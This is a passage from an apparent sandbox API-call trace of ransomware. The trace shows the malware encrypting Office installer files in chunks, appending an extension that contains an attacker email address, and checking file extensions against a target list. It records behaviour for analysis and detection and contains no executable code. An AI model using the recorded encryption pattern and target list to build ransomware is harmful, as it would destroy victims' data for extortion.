(in: hFile=0x194, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.388] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0040.388] ReadFile (in: hFile=0x194, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.391] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.391] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0040.391] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.407] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.407] WriteFile (in: hFile=0x194, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2fffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0040.420] SetEndOfFile (hFile=0x194) returned 1 [0040.420] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0040.420] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0040.421] WriteFile (in: hFile=0x194, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.421] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0040.421] WriteFile (in: hFile=0x194, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.422] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0040.422] WriteFile (in: hFile=0x194, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.424] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0040.424] CloseHandle (hObject=0x194) returned 1 [0042.554] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0042.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.554] lstrlenW (lpString=".doc") returned 4 [0042.554] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.554] lstrlenW (lpString=".docx") returned 5 [0042.554] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.554] lstrlenW (lpString=".pdf") returned 4 [0042.555] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.555] lstrlenW (lpString=".xls") returned 4 [0042.555] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.555] lstrlenW (lpString=".xlsx") returned 5 [0042.555] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.555] lstrlenW (lpString=".ppt") returned 4 [0042.555] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.555] lstrlenW (lpString=".zip") returned 4 [0042.555] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.555] lstrlenW (lpString=".rar") returned 4 [0042.555] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.555] lstrlenW (lpString=".bz2") returned 4 [0042.555] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.555] lstrlenW (lpString=".7z") returned 3 [0042.555] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.555] lstrlenW (lpString=".dbf") returned 4 [0042.555] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.555] lstrlenW (lpString=".1cd") returned 4 [0042.555] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.555] lstrlenW (lpString=".jpg") returned 4 [0042.555] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.555] lstrlenW (lpString=".doc") returned 4 [0042.555] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.555] lstrlenW (lpString=".docx") returned 5 [0042.555] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.555] lstrlenW (lpString=".pdf") returned 4 [0042.556] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.556] lstrlenW (lpString=".xls") returned 4 [0042.556] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.556] lstrlenW (lpString=".xlsx") returned 5 [0042.556] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.556] lstrlenW (lpString=".ppt") returned 4 [0042.556] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.556] lstrlenW (lpString=".zip") returned 4 [0042.556] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.556] lstrlenW (lpString=".rar") returned 4 [0042.556] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.556] lstrlenW (lpString=".bz2") returned 4 [0042.556] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.556] lstrlenW (lpString=".7z") returned 3 [0042.556] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.556] lstrlenW (lpString=".dbf") returned 4 [0042.556] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.556] lstrlenW (lpString=".1cd") returned 4 [0042.556] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.556] lstrlenW (lpString=".jpg") returned 4 [0042.556] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.556] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0042.556] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0042.556] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0042.557] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=3124224) returned 1 [0042.557] CloseHandle (hObject=0x194) returned 1 [0042.557] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0042.557] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.557] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0042.557] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0042.557] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0x0) returned 1 [0042.558] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0042.558] ReadFile (in: hFile=0x194, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.776] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0042.776] ReadFile (in: hFile=0x194, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.785] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.785] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0042.785] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.806] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.806] WriteFile (in: hFile=0x194, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x2fffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0043.149] SetEndOfFile (hFile=0x194) returned 1 [0043.150] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f8cbd8 [0043.312] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0043.312] WriteFile (in: hFile=0x194, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.313] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0043.313] WriteFile (in: hFile=0x194, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.318] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0043.318] WriteFile (in: hFile=0x194, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.320] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f8cbd8 | out: hHeap=0x220000) returned 1 [0043.320] CloseHandle (hObject=0x194) returned 1 [0043.320] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0043.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.321] lstrlenW (lpString=".doc") returned 4 [0043.321] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.321] lstrlenW (lpString=".docx") returned 5 [0043.321] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.321] lstrlenW (lpString=".pdf") returned 4 [0043.321] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.321] lstrlenW (lpString=".xls") returned 4 [0043.321] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.321] lstrlenW (lpString=".xlsx") returned 5 [0043.321] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.321] lstrlenW (lpString=".ppt") returned 4 [0043.321] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.321] lstrlenW (lpString=".zip") returned 4 [0043.321] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.321] lstrlenW (lpString=".rar") returned 4 [0043.321] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.321] lstrlenW (lpString=".bz2") returned 4 [0043.321] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.321] lstrlenW (lpString=".7z") returned 3 [0043.321] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.321] lstrlenW (lpString=".dbf") returned 4 [0043.321] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.321] lstrlenW (lpString=".1cd") returned 4 [0043.321] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.321] lstrlenW (lpString=".jpg") returned 4 [0043.321] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.322] lstrlenW (lpString=".doc") returned 4 [0043.322] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.322] lstrlenW (lpString=".docx") returned 5 [0043.322] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.322] lstrlenW (lpString=".pdf") returned 4 [0043.322] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.322] lstrlenW (lpString=".xls") returned 4 [0043.322] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.322] lstrlenW (lpString=".xlsx") returned 5 [0043.322] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.322] lstrlenW (lpString=".ppt") returned 4 [0043.322] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.322] lstrlenW (lpString=".zip") returned 4 [0043.322] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.322] lstrlenW (lpString=".rar") returned 4 [0043.322] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.322] lstrlenW (lpString=".bz2") returned 4 [0043.322] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.322] lstrlenW (lpString=".7z") returned 3 [0043.322] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.322] lstrlenW (lpString=".dbf") returned 4 [0043.322] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.322] lstrlenW (lpString=".1cd") returned 4 [0043.322] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0043.322] lstrlenW (lpString=".jpg") returned 4 [0043.322] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.323] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0043.323] lstrlenW (lpString="VisioMUI.msi") returned 12 [0043.323] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0043.323] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2797568) returned 1 [0043.323] CloseHandle (hObject=0x194) returned 1 [0043.323] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0043.323] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.323] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0043.324] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0043.324] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0x0) returned 1 [0043.324] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0043.324] ReadFile (in: hFile=0x194, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.328] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0043.328] ReadFile (in: hFile=0x194, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.336] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.336] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0043.336] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.677] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.677] WriteFile (in: hFile=0x194, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2fffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0043.694] SetEndOfFile (hFile=0x194) returned 1 [0043.694] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0043.698] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0043.698] WriteFile (in: hFile=0x194, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.700] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0043.700] WriteFile (in: hFile=0x194, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.705] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0043.705] WriteFile (in: hFile=0x194, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.104] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0044.105] CloseHandle (hObject=0x194) returned 1 [0044.105] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0044.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0044.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0044.106] lstrlenW (lpString=".doc") returned 4 [0044.106] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.106] lstrlenW (lpString=".docx") returned 5 [0044.106] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.106] lstrlenW (lpString=".pdf") returned 4 [0044.106] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.106] lstrlenW (lpString=".xls") returned 4 [0044.106] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.106] lstrlenW (lpString=".xlsx") returned 5 [0044.106] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.106] lstrlenW (lpString=".ppt") returned 4 [0044.106] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0044.106] lstrlenW (lpString=".zip") returned 4 [0044.106] lstrcmpiW (lpString1=".zip", 